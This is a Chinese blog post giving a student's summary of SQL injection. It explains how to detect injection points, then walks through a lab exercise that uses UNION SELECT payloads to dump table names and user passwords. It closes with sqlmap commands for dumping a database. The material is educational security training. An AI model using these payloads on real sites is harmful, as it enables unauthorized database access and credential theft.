IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> SQL注入小总 -> 正文阅读

[PHP知识库]SQL注入小总

又是一个被迫作业,一到周末反而忙死!

1.SQL注入

把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

2.种类

很多,但原理和利用方式几乎都差不太多,掌握一种,其他的可能就比较好学了。
(种类百度可能比较方便https://www.cnblogs.com/xuthus/p/9450805.html )

做题的话我理解就是先拿到他的库名,然后是表名,再是字段明,然后看字段内容。(通俗一点,每一个库里,可能有很多个表,每个表里有很多的字段,每个字段里都有可能就是flag的藏身之处!)所以找库!找表!找字段!

3.判断是否存在注入点

在库,表,字段找之前,你需要先知道它的注入点,也就是是说,看看网站是存在sql注入,然后通过一些测试判断sql注入的种类(数字型还是字符型),然后百度对应类型sql的注入语句就ok了。

很多方法:
1.单引号判断
?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。

2.and判断
?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页
?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3.or判断
(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
?id=10’or 1=1
?id=10’or 1=2

4.搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索’,如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%‘and 1=1 and ‘%’=‘和
2006%‘and 1=2 and ‘%’=’,存在异同的话,就是100%有洞了。
关键字%’ and 1=1 and ‘%’=’%
关键字%’ and 1=2 and ‘%’=’%
将and 1=1 换成注入语句就可以了

4.判断是数字型还是字符型:

数字型:
url地址中输入www.xxxx.com/ccc.php?id=x and 1=1
页面显示正常,继续下一步

url地址中输入www.xxxx.com/ccc.php?id=x and 1=2
页面错误,这说明存在数字型注入。

字符型:
www.xxx.com/ccc.php?id=1’ and ‘1’='1
页面正常,继续下一步
www.xxx.com/ccc.php?id=1’ and ‘1’='2
页面报错,则说明存在字符型注入。

5.SQL注入名词:

mysql 关键的库:information_shema
这个库包含了 mysql 里所有的库,表, 字段
information_schema.schemata--------库
information_schema.tables------------表
information_schema.columns--------字段
table_name 具体的数据表
column_name 字段名
order by 判断有多少字段
database() 查看当前使用什么数据库
version() 查看当前使用什么版本的MySQL
limit 查询其它数据库或者表,列等名称

6.例题展示

(1)测试类型.字段,回显位

  1. 测试后发现是字符型 4个字段(order by 查字段)---------先确定类型和字段数

  2. 联合查询回显是2和3 ?id=’ union select 1,2,3,4 – - 【用联合查询看我们字段里哪几个能在页面上显示出来(显示出来了,说明我们可以在那个位置写一些其他查看库名表名的语句,得到的结果可以在页面上显示)】
    在这里插入图片描述


(2) 查看库名

?id=’ union select 1,database(),version(),4 – - mozhe_discuz_stormgroup
【version是看版本】
在这里插入图片描述

(3)查看表名

测试后发现有两个 notice和stormgroup_member
?id=’ union select 1,table_name,version(),4 from information_schema.tables where table_schema=‘mozhe_discuz_stormgrouplimit 0,1 – -

【limit n,m 中的第一次参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。 所以limit 0,1表示的是从第一条记录开始,只取一条即可。】
在这里插入图片描述


?id=’ union select 1,table_name,version(),4 from information_schema.tables where table_schema=‘mozhe_discuz_stormgrouplimit 1,1 – -
在这里插入图片描述

(4)查看字段名

4个字段名
?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 0,1 – -
在这里插入图片描述

?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 1,1 – -
在这里插入图片描述

?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 2,1 – -
在这里插入图片描述

?id=’ union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘stormgroup_member’ limit 3,1 – -
在这里插入图片描述


(5)查看字段内容

?id=’ union select 1,concat(name,’ ‘,password,’ ‘,status),3,4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1 – -
在这里插入图片描述




?id=’ union select 1,concat(name,’ ‘,password,’ ',status),3,4 from mozhe_discuz_stormgroup.stormgroup_member limit 1,1 – -
在这里插入图片描述

(6)md5一下

在这里插入图片描述


(7)登录

在这里插入图片描述



7.SQLMAP工具(希望大家还是手工注入,把sqlmap当验证工具)

sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称

sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称

sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名

sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段

sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
0 #获取字段内容

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-21 20:28:31  更:2022-03-21 20:28:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 22:05:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码